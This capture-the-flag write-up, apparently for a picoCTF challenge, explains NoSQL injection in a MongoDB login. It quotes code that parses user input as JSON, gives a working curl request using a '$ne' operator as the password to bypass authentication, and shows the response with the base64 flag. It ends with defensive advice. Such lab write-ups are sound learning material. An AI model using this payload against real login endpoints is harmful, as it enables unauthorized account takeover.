No Sql Injection
Research
What is NoSQL Injection?
- It occurs when user input is unsafely embedded into database queries in a NoSQL database (like MongoDB).
- Unlike traditional SQL Injection, NoSQL injection often leverages data structures (like JSON objects) and operators (e.g.,
$ne,$gt).
Dangerous Patterns in Node.js/MongoDB
- Using objects directly in queries:
User.find(req.body) - Using
$wherewith user input. - Using eval-like constructs.
Information Gathering
The challenge gives us access to a web application using Express, Body-Parser, and Mongoose for a MongoDB backend. The goal is to bypass the login logic and obtain the flag.
Looking at the provided source code, we identified the key components used: Express, Mongoose, and a local MongoMemoryServer instance.
We also found an initial user created: email: "picoplayer355@picoctf.org". The password is randomly generated but stored in plaintext in the DB, which is a bad practice.
const user = await User.findOne({
email: email.startsWith("{") && email.endsWith("}") ? JSON.parse(email) : email,
password: password.startsWith("{") && password.endsWith("}") ? JSON.parse(password) : password,
});Reason: The code attempts to parse the email and password fields as JSON if they start and end with braces. This is a severe vulnerability as it allows us to supply MongoDB query operators (like $ne) as the password instead of a string, leading to a NoSQL Injection.
Creating the Payload
Since we know the target email (picoplayer355@picoctf.org) and the application processes JSON inputs into MongoDB queries, we can construct a request that bypasses the password check.
curl -s -X POST http://[target]/login -H 'Content-Type: application/json' -d '{"email":"picoplayer355@picoctf.org","password":"{\"$ne\":null}"}'{"success":true,"email":"picoplayer355@picoctf.org","token":"cGljb0NURntqQmhEMnk3WG9OelB2XzFZeFM5RXc1cUwwdUk2cGFzcWxfaW5qZWN0aW9uXzc4NGU0MGU4fQ==","firstName":"pico","lastName":"player"}Reason: The payload {\"$ne\":null} translates to "not equal to null". Since every user has a password, this condition is true. The database finds the user matching the email and a non-null password, granting us access.
The response contains a token field that looks like base64. Decoding it yields the flag.
Key Takeaways
- Never parse user input directly into query objects without strict validation or sanitization.
- Storing passwords in plaintext (even if randomly generated) violates basic security principles. Always use strong hashing algorithms like bcrypt.
- Understanding how the backend framework (like Mongoose) handles complex objects is crucial for identifying NoSQL injections.